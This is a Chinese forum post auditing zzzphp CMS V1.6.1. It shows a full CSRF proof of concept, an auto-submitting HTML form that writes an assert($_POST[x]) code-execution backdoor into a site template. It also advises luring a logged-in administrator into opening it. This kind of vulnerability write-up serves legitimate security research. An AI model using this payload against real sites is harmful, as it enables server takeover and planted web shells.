本帖最后由 90_ 于 2019-7-10 10:34 编辑
前言无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧! 正文审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell! 首先我们使用Burp Suite生成一个CSRF POC 修改如下: [HTML] 纯文本查看 复制代码 <html> <!-- [color=rgb(0, 136, 204)][backcolor=transparent]CSRF[/backcolor][/color] PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST"> <input type="hidden" name="file" value="/zzzphp/template/pc/cn2016/html/search.html" /> <input type="hidden" name="filetext" value="{if:assert($_;POST[x])}phpinfo();{end if}" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body></html> 其中生效的payload为html编码的{if:assert($_POST[x])}phpinfo();{end if}。我们把这个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码! 利用过程csrf诱导点击链接 管理员点击后操作为后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑 在模版中添加{if:assert($_POST[x])}xxx;{end if} 保存 代码执行
|